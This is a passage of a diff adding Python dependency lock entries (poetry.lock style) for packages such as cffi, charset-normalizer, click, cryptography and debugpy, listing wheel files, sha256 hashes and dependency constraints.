"sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, + {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, + {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, + {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, + {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, + {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, +] + +[package.dependencies] +pycparser = "*" + +[[package]] +name = "chardet" +version = "5.1.0" +description = "Universal encoding detector for Python 3" +optional = false +python-versions = ">=3.7" +files = [ + {file = "chardet-5.1.0-py3-none-any.whl", hash = "sha256:362777fb014af596ad31334fde1e8c327dfdb076e1960d1694662d46a6917ab9"}, + {file = "chardet-5.1.0.tar.gz", hash = "sha256:0d62712b956bc154f85fb0a266e2a3c5913c2967e00348701b32411d6def31e5"}, +] + +[[package]] +name = "charset-normalizer" +version = "3.2.0" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"}, + {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"}, +] + +[[package]] +name = "click" +version = "8.1.4" +description = "Composable command line interface toolkit" +optional = false +python-versions = ">=3.7" +files = [ + {file = "click-8.1.4-py3-none-any.whl", hash = "sha256:2739815aaa5d2c986a88f1e9230c55e17f0caad3d958a5e13ad0797c166db9e3"}, + {file = "click-8.1.4.tar.gz", hash = "sha256:b97d0c74955da062a7d4ef92fadb583806a585b2ea81958a81bd72726cbb8e37"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "cognitive-complexity" +version = "1.3.0" +description = "Library to calculate Python functions cognitive complexity via code" +optional = false +python-versions = ">=3.6" +files = [ + {file = "cognitive_complexity-1.3.0.tar.gz", hash = "sha256:a0cfbd47dee0b19f4056f892389f501694b205c3af69fb703cc744541e03dde5"}, +] + +[package.dependencies] +setuptools = "*" + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "cryptography" +version = "41.0.2" +description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." +optional = false +python-versions = ">=3.7" +files = [ + {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:01f1d9e537f9a15b037d5d9ee442b8c22e3ae11ce65ea1f3316a41c78756b711"}, + {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:079347de771f9282fbfe0e0236c716686950c19dee1b76240ab09ce1624d76d7"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:439c3cc4c0d42fa999b83ded80a9a1fb54d53c58d6e59234cfe97f241e6c781d"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f14ad275364c8b4e525d018f6716537ae7b6d369c094805cae45300847e0894f"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:84609ade00a6ec59a89729e87a503c6e36af98ddcd566d5f3be52e29ba993182"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:49c3222bb8f8e800aead2e376cbef687bc9e3cb9b58b29a261210456a7783d83"}, + {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d73f419a56d74fef257955f51b18d046f3506270a5fd2ac5febbfa259d6c0fa5"}, + {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:2a034bf7d9ca894720f2ec1d8b7b5832d7e363571828037f9e0c4f18c1b58a58"}, + {file = "cryptography-41.0.2-cp37-abi3-win32.whl", hash = "sha256:d124682c7a23c9764e54ca9ab5b308b14b18eba02722b8659fb238546de83a76"}, + {file = "cryptography-41.0.2-cp37-abi3-win_amd64.whl", hash = "sha256:9c3fe6534d59d071ee82081ca3d71eed3210f76ebd0361798c74abc2bcf347d4"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:a719399b99377b218dac6cf547b6ec54e6ef20207b6165126a280b0ce97e0d2a"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:182be4171f9332b6741ee818ec27daff9fb00349f706629f5cbf417bd50e66fd"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:7a9a3bced53b7f09da251685224d6a260c3cb291768f54954e28f03ef14e3766"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f0dc40e6f7aa37af01aba07277d3d64d5a03dc66d682097541ec4da03cc140ee"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:674b669d5daa64206c38e507808aae49904c988fa0a71c935e7006a3e1e83831"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7af244b012711a26196450d34f483357e42aeddb04128885d95a69bd8b14b69b"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9b6d717393dbae53d4e52684ef4f022444fc1cce3c48c38cb74fca29e1f08eaa"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:192255f539d7a89f2102d07d7375b1e0a81f7478925b3bc2e0549ebf739dae0e"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:f772610fe364372de33d76edcd313636a25684edb94cee53fd790195f5989d14"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:b332cba64d99a70c1e0836902720887fb4529ea49ea7f5462cf6640e095e11d2"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9a6673c1828db6270b76b22cc696f40cde9043eb90373da5c2f8f2158957f42f"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:342f3767e25876751e14f8459ad85e77e660537ca0a066e10e75df9c9e9099f0"}, + {file = "cryptography-41.0.2.tar.gz", hash = "sha256:7d230bf856164de164ecb615ccc14c7fc6de6906ddd5b491f3af90d3514c925c"}, +] + +[package.dependencies] +cffi = ">=1.12" + +[package.extras] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] +docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] +nox = ["nox"] +pep8test = ["black", "check-sdist", "mypy", "ruff"] +sdist = ["build"] +ssh = ["bcrypt (>=3.1.5)"] +test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] + +[[package]] +name = "debugpy" +version = "1.6.7" +description = "An implementation of the Debug Adapter Protocol for Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"}, + {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"}, + {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"}, + {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"}, + {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"}, + {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"}, + {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"}, + {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"}, + {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"}, + {file = "debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"}, + {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"}, + {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"}, + {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"}, + {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"}, + {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"}, + {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"}, + {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"}, + {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"}, +] + +[[package]] +name = "dependency-injector" +version = "4.41.0" +description = "Dependency injection framework for Python" +optional = false +python-versions = "*" +files = [ + {file = "dependency-injector-4.41.0.tar.gz", hash = "sha256:939dfc657104bc3e66b67afd3fb2ebb0850c9a1e73d0d26066f2bbdd8735ff9c"}, + {file = "dependency_injector-4.41.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a2381a251b04244125148298212550750e6e1403e9b2850cc62e0e829d050ad3"}, + {file = "dependency_injector-4.41.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75280dfa23f7c88e1bf56c3920d58a43516816de6f6ab2a6650bb8a0f27d5c2c"}, + {file = "dependency_injector-4.41.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63bfba21f8bff654a80e9b9d06dd6c43a442990b73bf89cd471314c11c541ec2"}, + {file = 